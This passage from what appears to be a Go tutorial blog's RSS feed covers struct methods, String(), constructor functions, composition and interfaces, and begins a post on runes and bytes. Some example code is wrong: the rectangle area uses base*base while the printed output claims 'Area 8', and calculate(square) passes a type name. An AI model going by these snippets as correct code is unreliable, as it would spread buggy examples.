style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; (myStructVariable &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;Videogame) &lt;span style=&#34;color:#57c7ff&#34;&gt;IncreaseYear&lt;/span&gt;(){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    myStructVariable.Year = myStructVariable.Year &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And once this &amp;ldquo;method&amp;rdquo; is declared, we can call the method we created through an instance of the struct. &lt;strong&gt;Notice how it does not receive any argument but behaves as a method.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;videogame.&lt;span style=&#34;color:#57c7ff&#34;&gt;IncreaseYear&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;customize-the-printout-of-a-struct-in-go&#34;&gt;Customize the printout of a struct in go&lt;/h3&gt;&#xA;&lt;p&gt;If we declare a function to customize the console output called &lt;em&gt;String&lt;/em&gt;, we will replace what the struct returns when we print it.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Think of it like overriding the &lt;strong&gt;str&lt;/strong&gt; method if you come from Python.&lt;/p&gt;&#xA;&lt;p&gt;Note the absence of the destructuring operator in the parenthesis in the first set of parentheses and how I use the Sprintf method of the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-functions-arguments-and-the-fmt-package/&#34;&gt;go fmt-package&lt;/a&gt;&#xA; to return a string.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; (myStructVariable Videogame) &lt;span style=&#34;color:#57c7ff&#34;&gt;String&lt;/span&gt;() &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt; { &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Sprintf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Title: %s, Year: %d&amp;#34;&lt;/span&gt;, myStructVariable.Title, myStructVariable.Year) &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now every time we print a struct we will get a text string with the syntax we declared.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(myVideogame)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Title: Nier, Year: 2017&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;constructors-in-go&#34;&gt;Constructors in go&lt;/h2&gt;&#xA;&lt;p&gt;Go &lt;strong&gt;does not have a mechanism similar to the constructors of other object-oriented languages&lt;/strong&gt;. However, it is quite common to create a function that emulates them, returning an object already initialized with the parameters we want to apply.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;NewVideogame&lt;/span&gt;(year &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;, title &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;Videogame {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;Videogame{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        Title: title,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        Year: year,     &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This copy of a constructor is able to create instances of our struct &lt;em&gt;Videogame&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nier &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;NewVideogame&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;2017&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Nier&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;nier)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// {Nier 2017}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;golang-inheritance-using-structs&#34;&gt;Golang inheritance using structs&lt;/h2&gt;&#xA;&lt;p&gt;Go &lt;strong&gt;does not have a word for declaring inheritance in structs&lt;/strong&gt;, however it does have something similar that can function as a golang inheritance version of other languages like C++, Java or Python, but not exactly as you would like. It is composition.&lt;/p&gt;&#xA;&lt;h3 id=&#34;extend-a-struct-in-golang&#34;&gt;Extend a struct in Golang&lt;/h3&gt;&#xA;&lt;p&gt;If you want to extend a struct, you can add the structs you want as part of the struct. However, consider that Go does not have inheritance, but composition.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; Person &lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Name &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Lastname &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; Professor &lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Person&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The code above will pass all the fields present in the first struct to the second struct, without having to explicitly declare them.&lt;/p&gt;&#xA;&lt;h3 id=&#34;go-doesnt-have-inheritance-but-composition&#34;&gt;Go doesn&amp;rsquo;t have inheritance but composition&lt;/h3&gt;&#xA;&lt;p&gt;Go follows the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/composition-over-inheritance-quickly-explained-with-legos/&#34;&gt;&lt;em&gt;composition over inheritance&lt;/em&gt;&lt;/a&gt;&#xA; motto.&lt;/p&gt;&#xA;&lt;p&gt;So when you add the new struct, you are not doing inheritance, you are adding a new struct to the original struct. So to access the fields of this one, first you need to access the struct you added.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-Go&#34; data-lang=&#34;Go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Professor.Person.Name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;polymorphism-using-interfaces-in-go&#34;&gt;Polymorphism using interfaces in go&lt;/h2&gt;&#xA;&lt;p&gt;Before dwelling with polymorphism itself, we must explain what an interface is, if you already mastered those concepts, go to the next section.&lt;/p&gt;&#xA;&lt;h3 id=&#34;whats-an-interface-in-simple-words&#34;&gt;What&amp;rsquo;s an interface in simple words?&lt;/h3&gt;&#xA;&lt;p&gt;You can think of an interface as a kind of “blueprint” that tells an object what functions it must implement to work, each object can implement those functions as it wants, but it MUST implement them, in other words: &lt;em&gt;&amp;ldquo;it must satisfy the interface&amp;rdquo;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;For example: Think of an abstraction that represents puzzle pieces. We need a puzzle piece that has two appendages, which maintain a 45° angle between them. We are not interested in the rest of the sides of the puzzle piece, only that it contains these two characteristics. As long as it has these two characteristics, it will fulfill the interface. The shape of the rest of the piece is irrelevant to us.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1764437886/interface-requirements_wtubxg.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1764437886/interface-requirements_wtubxg.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Interface concept explanation diagram&#34; width=&#34;960&#34; height=&#34;960&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;As long as the animal can breath it satisfy the interface&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Based on the above, in Go interfaces are a method to differentiate the behavior of different objects. An interface will be in charge of calling the method that we specify corresponding to its struct type.&lt;/p&gt;&#xA;&lt;p&gt;See how the interface declares that the type &lt;em&gt;fourSidesFigure&lt;/em&gt; has a method called &lt;em&gt;area&lt;/em&gt; that returns a result of type &lt;em&gt;float64&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; fourSidesFigure &lt;span style=&#34;color:#ff5c57&#34;&gt;interface&lt;/span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#57c7ff&#34;&gt;area&lt;/span&gt;() &lt;span style=&#34;color:#9aedfe&#34;&gt;float64&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next we declare a different method called &lt;em&gt;area&lt;/em&gt; for both struct &lt;em&gt;square&lt;/em&gt; and struct &lt;em&gt;rectangle&lt;/em&gt;, just as we did in the &amp;ldquo;Composition and structs&amp;rdquo; section of this entry.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; rectangle &lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    base &lt;span style=&#34;color:#9aedfe&#34;&gt;float64&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    height &lt;span style=&#34;color:#9aedfe&#34;&gt;float64&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; square &lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    base &lt;span style=&#34;color:#9aedfe&#34;&gt;float64&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    height &lt;span style=&#34;color:#9aedfe&#34;&gt;float64&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; (c square) &lt;span style=&#34;color:#57c7ff&#34;&gt;area&lt;/span&gt;() &lt;span style=&#34;color:#9aedfe&#34;&gt;float64&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; c.base &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt; c.base &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; (r rectangle) &lt;span style=&#34;color:#57c7ff&#34;&gt;area&lt;/span&gt;() &lt;span style=&#34;color:#9aedfe&#34;&gt;float64&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; r.base &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt; r.base &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we will create a function that will receive as argument any type &lt;em&gt;fourSidesFigure&lt;/em&gt;, and will execute its respective &lt;em&gt;area.&lt;/em&gt; method.&lt;/p&gt;&#xA;&lt;h3 id=&#34;whats-an-interface-for-in-go&#34;&gt;What&amp;rsquo;s an interface for in Go?&lt;/h3&gt;&#xA;&lt;p&gt;Here it is necessary to put special emphasis, observe how the argument that we pass to the function is the interface that we created, &lt;strong&gt;we are not interested in what type of &lt;em&gt;struct&lt;/em&gt; we are passing as argument, the only thing that we care about is that this argument satisfies the interface.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Again in case you miss it. &lt;strong&gt;We don&amp;rsquo;t care how the struct is built, the only requisite for it to work in our function is that it MUST satify the interface.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;In this case the interface is &lt;em&gt;fourSidesFigure&lt;/em&gt;, hence, whatever we pass it as an argument must have a method called &lt;em&gt;area&lt;/em&gt; that returns a &lt;em&gt;float64&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;When we use interfaces we can guarantee that the code works at a higher level, and we can leave the details of the low level functioning to its respective object, we can replace the implementation of the interface as long as it satisfies the interface&amp;rsquo;s signature.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; fourSidesFigure &lt;span style=&#34;color:#ff5c57&#34;&gt;interface&lt;/span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#57c7ff&#34;&gt;area&lt;/span&gt;() &lt;span style=&#34;color:#9aedfe&#34;&gt;float64&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;calculate&lt;/span&gt; (f fourSidesFigure) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Area&amp;#34;&lt;/span&gt;, f.&lt;span style=&#34;color:#57c7ff&#34;&gt;area&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To call the respective method we just call the function by passing it an instance of the struct as an argument.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mySquare &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; square{base: &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;calculate&lt;/span&gt;(square)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mirectangle &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; rectangle{base:&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;, height: &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;calculate&lt;/span&gt;(mirectangle)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Area 4&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Area 8&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Surely if you come from other languages you will find Go syntax quite capricious, but I am sure you will be mastering it in a very short time, besides it&amp;rsquo;s a low cost to pay for such simple and predictable code, any average Joe with the aid of AI can create Go code, I mean even I can.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;As I already mentioned to you in the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/&#34;&gt;introduction to Golang or Go programming language&lt;/a&gt;&#xA;, this language does not have a reserved word for dealing with classes, it still mimicks some behavior, we&amp;rsquo;re going to see how to handle golang inheritance, golang polymorphism and of course encapsulation.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Golang runes strings and bytes explained</title>
      <link>https://coffeebytes.dev/en/go/golang-runes-strings-and-bytes-explained/</link>
      <pubDate>Tue, 28 Dec 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/go/golang-runes-strings-and-bytes-explained/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;In this entry I will briefly explain the basics of how golang runes, strings and bytes work in go, and even a little bit of utf-8 just to spice things up.&lt;/p&gt;&#xA;&lt;p&gt;To explain the topic I will assume you know the basics of slices and data types in go, if you don&amp;rsquo;t know about these topics visit my &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-slices-and-arrays-basic-characteristics-and-most-common-uses/&#34;&gt;array, slices in golang&lt;/a&gt;&#xA; entry.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;a-little-bit-about-conventions&#34;&gt;A little bit about conventions&lt;/h2&gt;&#xA;&lt;p&gt;As you probably already know, computers only store numbers. The 